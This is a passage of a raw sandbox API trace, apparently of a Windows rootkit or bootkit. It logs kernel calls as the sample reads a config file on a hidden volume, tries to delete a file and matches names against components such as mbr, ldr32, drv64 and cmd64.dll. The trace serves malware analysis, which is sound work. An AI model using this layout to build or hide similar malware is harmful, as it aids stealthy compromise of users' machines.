out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.196] KeEnterCriticalRegion () [0118.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.196] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.196] IdePortDispatch () returned 0x103 [0118.197] KeWaitForMutexObject () returned 0x0 [0118.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.197] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.197] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.197] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.197] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.197] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ada7e0 [0118.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.197] KeLeaveCriticalRegion () [0118.197] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.197] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.197] KeEnterCriticalRegion () [0118.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.197] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.197] KeLeaveCriticalRegion () [0118.197] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.197] KeEnterCriticalRegion () [0118.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.197] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.197] IdePortDispatch () returned 0x103 [0118.198] KeWaitForMutexObject () returned 0x0 [0118.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.198] KeLeaveCriticalRegion () [0118.198] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.198] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.198] KeEnterCriticalRegion () [0118.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.198] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c97000 [0118.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.198] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.198] IdePortDispatch () returned 0x103 [0118.198] KeWaitForMutexObject () returned 0x0 [0118.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.198] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.198] IdePortDispatch () returned 0x103 [0118.199] KeWaitForMutexObject () returned 0x0 [0118.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.199] KeLeaveCriticalRegion () [0118.199] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.199] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.199] KeEnterCriticalRegion () [0118.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.199] KeLeaveCriticalRegion () [0118.199] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.200] KeEnterCriticalRegion () [0118.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.200] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.200] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.200] KeLeaveCriticalRegion () [0118.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.200] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.200] KeEnterCriticalRegion () [0118.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.200] ExFreePoolWithTag (P=0xfffffa8003ada7e0, Tag=0x0) [0118.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.200] KeLeaveCriticalRegion () [0118.200] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.200] ReleaseMutex (hMutex=0xf0) returned 1 [0118.200] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.200] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.200] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.200] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.200] KeEnterCriticalRegion () [0118.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.200] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.200] IdePortDispatch () returned 0x103 [0118.200] KeWaitForMutexObject () returned 0x0 [0118.201] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.201] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.201] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.201] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.201] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.201] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.201] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.201] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.201] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.201] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.201] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.201] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.201] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.201] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.201] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.201] KeLeaveCriticalRegion () [0118.201] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.201] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.201] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.201] KeEnterCriticalRegion () [0118.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.201] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.201] IdePortDispatch () returned 0x103 [0118.201] KeWaitForMutexObject () returned 0x0 [0118.201] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.202] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.202] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.202] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.202] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.202] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.202] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.202] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.202] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.202] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.202] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.202] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.202] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.202] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.202] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.202] KeLeaveCriticalRegion () [0118.202] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.202] ReleaseMutex (hMutex=0x100) returned 1 [0118.202] Sleep (dwMilliseconds=0x2bf20) [0118.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69a88b90, dwHighDateTime=0x1d24fa4)) [0118.211] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.211] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.211] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.211] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.211] KeEnterCriticalRegion () [0118.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.211] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.211] IdePortDispatch () returned 0x103 [0118.211] KeWaitForMutexObject () returned 0x0 [0118.212] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.212] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.212] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.212] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.212] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.212] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d10e0 [0118.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.212] KeLeaveCriticalRegion () [0118.212] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.212] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.212] KeEnterCriticalRegion () [0118.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.212] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.212] KeLeaveCriticalRegion () [0118.212] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.212] KeEnterCriticalRegion () [0118.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.212] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.212] IdePortDispatch () returned 0x103 [0118.212] KeWaitForMutexObject () returned 0x0 [0118.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.213] KeLeaveCriticalRegion () [0118.213] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.213] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.213] KeEnterCriticalRegion () [0118.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9a000 [0118.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.213] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.213] IdePortDispatch () returned 0x103 [0118.213] KeWaitForMutexObject () returned 0x0 [0118.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.213] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.213] IdePortDispatch () returned 0x103 [0118.214] KeWaitForMutexObject () returned 0x0 [0118.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.214] KeLeaveCriticalRegion () [0118.214] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.214] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.214] KeEnterCriticalRegion () [0118.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.214] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.214] KeLeaveCriticalRegion () [0118.214] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.214] KeEnterCriticalRegion () [0118.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.215] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.215] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.215] KeLeaveCriticalRegion () [0118.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.215] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.215] KeEnterCriticalRegion () [0118.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.215] ExFreePoolWithTag (P=0xfffffa80039d10e0, Tag=0x0) [0118.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.215] KeLeaveCriticalRegion () [0118.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.215] ReleaseMutex (hMutex=0xf0) returned 1 [0118.215] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.215] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.215] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.215] KeEnterCriticalRegion () [0118.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.215] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.215] IdePortDispatch () returned 0x103 [0118.215] KeWaitForMutexObject () returned 0x0 [0118.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.215] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.215] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.216] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.216] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.216] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2c40 [0118.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.216] KeLeaveCriticalRegion () [0118.216] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.216] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.216] KeEnterCriticalRegion () [0118.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.216] KeLeaveCriticalRegion () [0118.216] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.216] KeEnterCriticalRegion () [0118.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.216] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.216] IdePortDispatch () returned 0x103 [0118.216] KeWaitForMutexObject () returned 0x0 [0118.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.216] KeLeaveCriticalRegion () [0118.216] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.217] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.217] KeEnterCriticalRegion () [0118.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.217] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9b000 [0118.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.217] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.217] IdePortDispatch () returned 0x103 [0118.217] KeWaitForMutexObject () returned 0x0 [0118.217] _strnicmp (_Str1="cfg.ini", 